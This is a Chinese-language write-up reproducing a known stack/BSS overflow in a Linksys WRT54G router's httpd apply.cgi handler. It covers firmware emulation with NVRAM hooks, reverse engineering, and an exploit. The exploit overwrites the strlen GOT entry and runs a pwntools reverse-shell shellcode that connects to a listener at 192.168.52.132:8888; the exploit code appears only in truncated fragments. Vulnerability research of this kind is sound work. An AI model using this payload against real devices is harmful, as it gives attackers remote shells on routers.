Linksys 栈溢出漏洞复现
| 0 | 前言
依然是一道关于hook使用方法的复现
此次复现记录来源于一本书家用路由器0day漏洞挖掘技术
同时使用的攻击手法是一种特殊的栈溢出
| 1 | 固件下载&解包
下载地址
固件解包
1 | binwalk -e --preserve-symlinks WRT54GV3.1_4.00.7_US_code.bin |
| 2 | 环境修复

可以看到有很多关于nvram函数的调用,我们使用qemu模拟不可能有nvram,所以要使用hook劫持这些函数
工具 zcutlip修复NVRAM
下载地址 https://github.com/zcutlip/nvram-faker.git
本次的固件还包含了get_mac_from_ip,这个函数我们也要劫持,所以在nvram-faker.c中加入
1 | int fork(void) |
再把这两个文件添加到nvram-faker.h中
然后我们需要选择合适的编译器,因为httpd服务使用mipsel中的uclibc库编译,我们的hook.so必须保持一致
有个窍门,我们可以使用固件名称+GPL Source进行搜索,厂商很可能提供了对应版本的工具链

我们将对应固件的工具链下载
并将buildmipsel.sh中编译器的路径修改为官方提供的编译器
1 | !/bin/sh |
由于我们生成的libnvram-faker.so包含的内容很少,可以使用最简单的手段编译
得到的.so文件便可以劫持nvram
此外进程还需要打开var/run/httpd.pid

我们需要保证这个路径存在:mkdir ./var/;mkdir ./var/run即可

此时可以正常运行
| 3 | 逆向分析
根据漏洞报告定位httpd,并将其放入IDA中
1 | zer00ne@zer00ne:~/Desktop/cve_review/stage1/linksys/_WRT54GV3.1_4.00.7_US_code.bin.extracted/squashfs-root$ find ./ -name "httpd" |
端口监听判断
进入main函数,可以初步判断这是个socket服务

根据bind函数的位置,可以判断出这个进程监听了80端口

流程判断
通过socket相关函数可以大概判断出业务处理函数


进入work函数,看到报文接收函数,可以看到允许接受

报文格式
如果对着gdb硬调报文解析工作量是非常大的,我在这里补充一下报文格式(HTTP/1.1 的 POST 报文格式规范)
1 | POST {target_path} HTTP/1.1\r\n |
target_path:希望访问的服务
target_ip:服务器的IP

回到elf中,在while循环中通过fgets实现了对报文各个字段的分割

还过滤了路径穿越攻击

最终来到了服务处理,根据target_path调用不同的函数指针,可以看到这里有很多cgi服务,我们的目标为apply.cgi

调用处,第三个参数的来源为
1 | else if ( !strncasecmp(v5, "Content-Length:", 15) ) |

这里没有对报文长度做任何限制,在apply.cgi中实现了对报文的提取,同样也没有任何对长度的检查
1 | int __fastcall do_apply_post(int a1, int a2, int a3) |
其中post_buf位于bss段,在elf中的布局大概是
1 | +--------------------------+ |
刚刚好在fread读入后立马调用了strlen,我们便可以覆盖got.strlen达到控执行流的目的
由于mips架构不存咋NX这一说法,所以bss上拥有x权限,我们可以将shellcode写在bss上,再将got写入bss的地址
于是我们可以构造出如下payload
1 | payload = (b"\x00"*(0x200-len(shellcode))+shellcode).ljust(10000,b"\x00")+p32(0x10001AD8)*0x1000# |
其中最后将payload填入request中,得到最终请求体
1 | shellcode = shellcraft.connect("192.168.52.132",8888) + shellcraft.dupsh() |
| 4 | 攻击流程
监听8888端口—>运行httpd服务–>发送EXP

成功将shell弹出
| 5 | EXP
1 | from pwn import * |